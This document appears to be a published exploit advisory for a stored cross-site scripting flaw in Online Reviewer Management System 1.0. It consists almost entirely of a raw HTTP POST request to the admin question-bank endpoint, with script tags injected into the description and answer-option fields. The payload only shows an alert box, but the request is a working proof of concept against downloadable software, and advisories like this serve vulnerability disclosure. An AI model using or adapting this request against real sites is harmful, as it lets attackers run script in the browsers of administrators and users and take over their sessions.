Online Reviewer Management System 1.0 Cross Site Scripting

`# Exploit Title: Online Reviewer Management System Persistent Cross Site Scripting  
# Exploit Author: th3d1gger  
# Vendor Homepage: https://sourcecodester.com  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/reviewer_0.zip  
# Version: 1.0  
# Tested on Windows 10  
  
  
@attack request  
  
POST /admins/assessments/databank/btn_functions.php?action=add HTTP/1.1  
  
Host: reviewmngmnt.olly  
  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
  
Accept-Language: en-US,en;q=0.5  
  
Accept-Encoding: gzip, deflate  
  
Content-Type: multipart/form-data; boundary=---------------------------28762627066859903521570508233  
  
Content-Length: 1574  
  
Origin: http://reviewmngmnt.olly  
  
  
Connection: close  
  
Referer: http://reviewmngmnt.olly/admins/assessments/databank/index.php  
  
Cookie: PHPSESSID=3he3in87240vbdqshdfu75b7qi  
  
Upgrade-Insecure-Requests: 1  
  
  
  
-----------------------------28762627066859903521570508233  
  
Content-Disposition: form-data; name="difficulty_id"  
  
  
  
1  
  
-----------------------------28762627066859903521570508233  
  
Content-Disposition: form-data; name="test_desc"  
  
  
  
Agriculture  
  
-----------------------------28762627066859903521570508233  
  
Content-Disposition: form-data; name="test_subject"  
  
  
  
Animal Science  
  
-----------------------------28762627066859903521570508233  
  
Content-Disposition: form-data; name="description"  
  
  
  
<script>alert("yeassss")</script>  
  
-----------------------------28762627066859903521570508233  
  
Content-Disposition: form-data; name="option_a"  
  
  
  
<script>alert("yeassss")</script>  
  
-----------------------------28762627066859903521570508233  
  
Content-Disposition: form-data; name="option_b"  
  
  
  
<script>alert("yeassss")</script>  
  
-----------------------------28762627066859903521570508233  
  
Content-Disposition: form-data; name="option_c"  
  
  
  
<script>alert("yeassss")</script>  
  
-----------------------------28762627066859903521570508233  
  
Content-Disposition: form-data; name="option_d"  
  
  
  
<script>alert("yeassss")</script>  
  
-----------------------------28762627066859903521570508233  
  
Content-Disposition: form-data; name="answer"  
  
  
  
A  
  
-----------------------------28762627066859903521570508233  
  
Content-Disposition: form-data; name="personImage"; filename=""  
  
Content-Type: application/octet-stream  
  
  
  
  
  
-----------------------------28762627066859903521570508233  
  
Content-Disposition: form-data; name="btnAddQuestion"  
  
  
  
Save  
  
-----------------------------28762627066859903521570508233--  
`